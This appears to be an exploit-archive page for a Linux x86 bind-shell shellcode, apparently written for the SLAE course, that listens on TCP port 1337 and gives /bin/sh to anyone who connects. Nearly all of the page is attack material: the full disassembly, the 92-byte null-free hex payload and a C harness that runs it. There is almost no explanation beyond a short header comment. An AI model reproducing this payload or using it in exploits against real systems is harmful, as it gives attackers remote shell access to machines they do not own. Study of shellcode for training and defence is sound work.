Registerlinuxx86 bind (1337tcp) shell (binsh) + nullfree shellcode (92 bytes)
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/** # Linux x86 Bind TCP shellcode # This shellcode will listen on port 1337 and give you /bin/sh # Shellcode Author: Anurag Srivastava # Shellcode Length: 92 # Student-ID: SLAE-1219 # Note ~ http://www.theanuragsrivastava.in/2018/04/bind-tcp-shellcode-x86-slae-assignment.html Disassembly of section .text: 08048060 <_start>: 8048060: 6a 66 push 0x66 8048062: 58 pop eax 8048063: 31 db xor ebx,ebx 8048065: 53 push ebx 8048066: 43 inc ebx 8048067: 53 push ebx 8048068: 6a 02 push 0x2 804806a: 89 e1 mov ecx,esp 804806c: 99 cdq 804806d: cd 80 int 0x80 804806f: 96 xchg esi,eax 8048070: 52 push edx 8048071: 66 68 05 39 pushw 0x3905 8048075: 43 inc ebx 8048076: 66 53 push bx 8048078: 89 e1 mov ecx,esp 804807a: 6a 10 push 0x10 804807c: 51 push ecx 804807d: 56 push esi 804807e: 89 e1 mov ecx,esp 8048080: 6a 66 push 0x66 8048082: 58 pop eax 8048083: cd 80 int 0x80 8048085: 53 push ebx 8048086: 6a 04 push 0x4 8048088: 5b pop ebx 8048089: 56 push esi 804808a: 89 e1 mov ecx,esp 804808c: 6a 66 push 0x66 804808e: 58 pop eax 804808f: cd 80 int 0x80 8048091: 52 push edx 8048092: 52 push edx 8048093: 56 push esi 8048094: 89 e1 mov ecx,esp 8048096: 43 inc ebx 8048097: 6a 66 push 0x66 8048099: 58 pop eax 804809a: cd 80 int 0x80 804809c: 93 xchg ebx,eax 804809d: 6a 02 push 0x2 804809f: 59 pop ecx 080480a0 <loop>: 80480a0: 6a 3f push 0x3f 80480a2: 58 pop eax 80480a3: cd 80 int 0x80 80480a5: 49 dec ecx 80480a6: 79 f8 jns 80480a0 <loop> 80480a8: 31 c9 xor ecx,ecx 80480aa: 51 push ecx 80480ab: 6a 0b push 0xb 80480ad: 58 pop eax 80480ae: 68 2f 2f 73 68 push 0x68732f2f 80480b3: 68 2f 62 69 6e push 0x6e69622f 80480b8: 89 e3 mov ebx,esp 80480ba: cd 80 int 0x80 **/ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x6a\x04\x5b\x56\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Linuxx86 bind (1337tcp) shell (binsh) + nullfree shellcode (92 bytes) Vulnerability / Exploit Source : Linuxx86 bind (1337tcp) shell (binsh) + nullfree shellcode (92 bytes)
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